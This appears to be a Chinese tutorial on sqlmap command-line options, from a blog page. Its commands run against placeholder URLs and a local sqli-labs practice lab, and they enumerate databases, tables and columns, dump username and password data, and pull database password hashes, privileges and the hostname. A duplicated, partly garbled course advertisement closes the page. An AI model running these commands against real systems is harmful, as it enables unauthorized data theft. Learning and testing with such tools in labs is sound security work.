赞
踩
准备一个「文件」,写上需要检测的多个url,一行一个。
-m
指定文件,可以「批量扫描」文件中的url。
sqlmap -m urls.txt
逐个扫描url,需要确认就按y。
扫描完一个,就会提示存在的注入点。
然后再按y扫描下一个url。
-D
指定目标「数据库」,单/双引号包裹,常配合其他参数使用。
-T
指定目标「表」,单/双引号包裹,常配合其他参数使用。
-C
指定目标「字段」,单/双引号包裹,常配合其他参数使用。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username' --dump
检测「post请求」的注入点,使用BP等工具「抓包」,将http请求内容保存到txt文件中。
-r
指定需要检测的文件,SQLmap会通过post请求方式检测目标。
sqlmap -r bp.txt
--cookie
指定cookie的值,单/双引号包裹。
sqlmap -u "http://xx?id=x" --cookie 'cookie'
获取所有内容
sqlmap -u 'http://xx/?id=1' -a
-a
就是 all 的意思,获取所有能获取的内容,会消耗很长时间。
--dbs
获取数据库
1.1、获取数据库版本
sqlmap -u 'http://xx/?id=1' -b
最后面显示数据库的版本,这里检测的版本是 5.7.26。
1.2、获取当前使用的数据库
sqlmap -u 'http://xx/?id=1' --current-db
在最后面显示当前使用的数据库的名字是 security。
1.3、获取所有数据库
sqlmap -u 'http://xx/?id=1' --dbs
最后面显示所有数据库的名字。
--tables
获取表
2.1、获取表,可以指定数据库
sqlmap -u 'http://xx/?id=1' -D 'security' --tables
最后面显示数据库(security)里所有的表名。
2.2、同时获取多个库的表名,库名用逗号分隔。
sqlmap -u 'http://xx/?id=1' -D 'security,sys' --tables
2.3、不指定数据库,默认获取数据库中所有的表。
sqlmap -u 'http://xx/?id=1' --tables
最后面显示每个数据库下都有哪些表。
--columns
参数用来获取字段。
3.1、获取字段,可以指定库和表
提示:只指定库名但不指定表名会报错。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --columns
最后面显示表(users)中的所有字段。
3.2、不指定表名,默认获取当前数据库中所有表的字段。
sqlmap -u 'http://xx/?id=1' --columns
--schema
获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。
sqlmap -u 'http://xx/?id=1' -D 'security' --schema
最后面显示每个表的字段类型。
--dump
获取值,也就是表中的数据。可以指定具体的库、表、字段。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' -C 'username,password' --dump
获取指定库中所有表的数据。
sqlmap -u 'http://xx/?id=1' -D 'security' --dump
默认获取表中的所有数据,可以使用 --start
--stop
指定开始和结束的行,只获取一部分数据。
sqlmap -u 'http://xx/?id=1' -D 'security' -T 'users' --start 1 --stop 5 --dump
6.1、获取当前登录数据库的用户
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --current-user
最后面显示当前登录数据库的用户是 root@localhost。
6.2、获取所有用户
--users
获取数据库的所有用户名。
sqlmap -u 'http://xx/?id=1' --users
最后面显示数据库的所有用户名。
6.3、获取用户密码
--passwords
获取所有数据库用户的密码(哈希值)。
数据库不存储明文密码,只会将密码加密后,存储密码的哈希值,所以这里只能查出来哈希值;当然,你也可以借助工具把它们解析成明文。
最后面显示数据库用户名对应的密码(哈希值)。
6.4、获取用户权限
--privileges
查看每个数据库用户都有哪些权限。
sqlmap -u 'http://192.168.31.180/sqli-labs-master/Less-1/?id=1' --privileges
最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。
6.5、判断当前用户是不是管理员
--is-dba
判断当前登录的用户是不是数据库的管理员账号。
sqlmap -u 'http://xx/?id=1' --is-dba
如果是管理员,就在最后面显示 true。
--hostname
获取服务器主机名。
sqlmap -u 'http://xx/?id=1' --hostname
最后面显示服务器的主机名是 DESKTOP。
--search
搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。
搜索数据库中有没有 security 这个数据库:
sqlmap -u 'http://xx/?id=1' -D 'security' --search
需要手动选择模糊匹配(1)还是完全匹配(2),而后返回匹配的结果。
也可以搜索表
sqlmap -u 'http://xxx/?id=1' -T 'users' --search
或者搜索字段
sqlmap -u 'http://xx/?id=1' -C 'username' --search
--statements
获取数据库中正在执行的SQL语句。
sqlmap -u 'http://xx/?id=1' --statements
最后面显示正在执行的SQL语句。
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数网络安全工程师,想要提升技能,往往是自己摸索成长,但自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
术停滞不前!**
因此收集整理了一份《2024年网络安全全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友。
[外链图片转存中…(img-OQpghCOY-1715542303982)]
[外链图片转存中…(img-mVD45Ne6-1715542303982)]
[外链图片转存中…(img-Pk4sIdbo-1715542303982)]
[外链图片转存中…(img-A12yPtij-1715542303983)]
[外链图片转存中…(img-A5WaeOFa-1715542303983)]
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上网络安全知识点!真正的体系化!
如果你觉得这些内容对你有帮助,需要这份全套学习资料的朋友可以戳我获取!!
由于文件比较大,这里只是将部分目录截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且会持续更新!
Copyright © 2003-2013 www.wpsshop.cn 版权所有,并保留所有权利。